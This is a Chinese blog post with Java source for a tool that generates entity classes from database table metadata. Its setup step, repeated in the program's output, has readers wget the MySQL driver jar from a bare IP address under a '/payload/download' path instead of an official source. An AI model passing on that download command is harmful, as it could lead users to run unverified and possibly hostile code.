Java根据表基于 TkMapper、Mybaties、SpringBoot Starter实现自动生成ORM结构的starter

基于 TkMapper、Mybaties、SpringBoot Starter实现的自动生成ORM结构的starter

GitHub网址:https://github.com/muphy1112/ruphy-tk-mapper-spring-boot-starter

 

下面是另一个只生成实体类的工具类

Java根据表生成实体类工具,由于现在基本上使用mybaties作为ORM框架,不考虑注解。

使用方式,以MySQL为例:

1.新建文件 EntityUtils.java 文件内容见最后的代码(8.)

2.下载MySQL驱动:wget http://47.106.139.21:7001/payload/download?f=/payload/mysql-connector-java-8.0.19.jar

3.编译生成 EntityUtils.class: javac .\EntityUtils.java -classpath .\mysql-connector-java-8.0.19.jar -encoding UTF-8

4.建测试表 sys_role: create table sys_role (ip int, pid int, name varchar(20), create_time date);

5.运行生成 SysRoleEntity.java :java -classpath '.;.\mysql-connector-java-8.0.19.jar' EntityUtils sys_role .

6.集成到代码中当工具使用:EntityUtils.createEntity(tableName, path)

7.查看 SysRoleEntity.java:

 

8.代码如下:

import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.sql.*;
import java.util.*;

public final class EntityUtils {

    private static String defaultPath = ".";
    private static String db_connect = "jdbc:mysql://***.***.***.***/hacker";
    private static String db_passwd = "***";
    private static String db_user = "azi";
    private static String db_schema;

    public static void main(String[] args) throws IOException {
        System.out.println("以MySQL为例,获取mysql的jdbc驱动: wget http://47.106.139.21:7001/payload/download?f=/payload/mysql-connector-java-8.0.19.jar");
        if(args == null || args.length == 0 || isEmpty(args[0])){
            System.out.println("usage: java EntityUtils table [path] [-classpath classpath]");
            System.exit(1);
        }
        db_schema = db_connect.substring(db_connect.lastIndexOf("/") + 1);
        String tableName = args[0];
        String path =  defaultPath;
        if(args.length > 1 && !isEmpty(args[1])){
            path =  args[1];
        }
        String entityString = createEntity(tableName, path);
//        System.out.println(entityString);
    }

    public static String createEntity(String tableName, String outPath) throws IOException {
        String entityString = getEntityString(tableName);
        File file = new File(outPath + File.separatorChar + getUpperCamelCase(tableName) + "Entity.java");
        System.out.println("文件路径:" + file.getCanonicalPath());
        file.getParentFile().mkdirs();
        FileWriter writer = new FileWriter(file);
        writer.write(entityString);
        writer.close();
        return entityString;
    }

    public static String getEntityString(String tableName) {
        List<Map<String, Object>> entities = getTableDescribe(tableName);
        if (entities == null || entities.size() <= 0) {
            return "";
        }
        StringBuilder sb = new StringBuilder();
        sb.append("package entity;\n\n");
        sb.append("import java.util.Date;\n\n");
        sb.append("public class " + getUpperCamelCase(tableName) + "Entity {\n\n");
        for (int i = 0; i < entities.size(); i++) {
            sb.append("\tprivate " + ConvertType((String) entities.get(i).get("dataType")) + " " + getLowerCamelCase((String) entities.get(i).get("columnName")) + ";\n");
        }
        sb.append("\n");
        for (int i = 0; i < entities.size(); i++) {
            String upperCamelCase = getUpperCamelCase((String) entities.get(i).get("columnName"));
            String lowerCamelCase = getLowerCamelCase((String) entities.get(i).get("columnName"));
            String dataType = ConvertType((String) entities.get(i).get("dataType"));
            sb.append("\tpublic " + dataType + " get" + upperCamelCase + "() {\n");
            sb.append("\t\treturn " + lowerCamelCase + ";\n");
            sb.append("\t}\n\n");

            sb.append("\tpublic void set" + upperCamelCase + "(" + dataType + " " + lowerCamelCase + ") {\n");
            sb.append("\t\tthis." + lowerCamelCase + " = " + lowerCamelCase + ";\n");
            sb.append("\t}\n\n");
        }
        sb.append("\n}\n");
        return sb.toString();
    }

    /**
     * 转化为大驼峰
     * @param name
     * @return
     */
    public static String getUpperCamelCase(String name) {
        if(isEmpty(name)){
            return "";
        }
        String[] strings = name.split("[^a-zA-Z0-9]+");
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i <strings.length; i++) {
            sb.append(getTitleCase(strings[i]));
        }
        return sb.toString();

    }
    
    private static boolean isEmpty(String name){
        return null == name || name.trim().equals("");
    }

    /**
     * 转化为小驼峰
     * @param name
     * @return
     */
    public static String getLowerCamelCase(String name) {
        name = getUpperCamelCase(name);
        return name.substring(0, 1).toLowerCase() + name.substring(1);
    }

    private static String getTitleCase(String name){
        if (isEmpty(name)) {
            return "";
        }
        return name.substring(0, 1).toUpperCase() + name.substring(1).toLowerCase();
    }

    public static List<Map<String, Object>> getTableDescribe(String tableName) {
        try {
            DriverManager.registerDriver(new com.mysql.cj.jdbc.Driver());
            Connection conn = DriverManager.getConnection(db_connect, db_user, db_passwd);
            String sql = "select t.table_name as tableName, t.column_name as columnName, t.data_type as dataType from information_schema.columns t where t.table_schema = '" + db_schema + "' and t.table_name = ?";
            if(db_connect.contains("oracle")){
                sql = "select t.table_name as tableName, t.column_name as columnName, t.data_type as dataType from all_tab_columns t where t.owner = '" + db_schema.toUpperCase() + "' and t.table_name = upper(?)";
            }
            PreparedStatement ps = conn.prepareStatement(sql);
            ps.setString(1, tableName);
            ResultSet resultSet = ps.executeQuery();
            System.out.println(ps.toString());
            List<Map<String, Object>> handler = handlerResult(resultSet);
            ps.close();
            conn.close();
            return handler;
        } catch (SQLException e) {
            e.printStackTrace();
        }
        return null;
    }

    public static List<Map<String, Object>> handlerResult(ResultSet rs) {
        List<Map<String, Object>> list = new ArrayList<>();
        try {
            while (rs.next()) {
                //获得是: 结果集的元数据:
                ResultSetMetaData rsmd = rs.getMetaData();
                //列的个数:
                int count = rsmd.getColumnCount();
                Map<String, Object> map = new HashMap<>();
                for (int i = 0; i < count; i++) {
                    //字段的名称: 字段的名称和列的名称对应:
                    String columnName = rsmd.getColumnLabel(i + 1);
                    //设置值:
                    Object fieldValue = rs.getObject(columnName);
                    map.put(columnName, fieldValue);
                }
                list.add(map);
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return list;
    }

    public static String ConvertType(String dbType) {
        if (isEmpty(dbType)) {
            return "String";
        }
        HashMap<String, String> map = new HashMap<>();
        map.put("varchar", "String");
        map.put("longtext", "String");
        map.put("text", "String");
        map.put("char", "String");
        map.put("longblob", "String");
        map.put("mediumtext", "String");
        map.put("blob", "String");
        map.put("set", "String");
        map.put("enum", "String");
        map.put("bigint", "int");
        map.put("int", "int");
        map.put("bit", "int");
        map.put("smallint", "int");
        map.put("tinyint", "int");
        map.put("decimal", "long");
        map.put("double", "double");
        map.put("time", "Date");
        map.put("timestamp", "Date");
        map.put("datetime", "Date");
        String type = map.get(dbType.toLowerCase());
        if (isEmpty(type)) {
            return "String";
        }
        return type;
    }

}

 

posted @ 2020-11-13 01:30  明月心~  阅读(227)  评论(0)    收藏  举报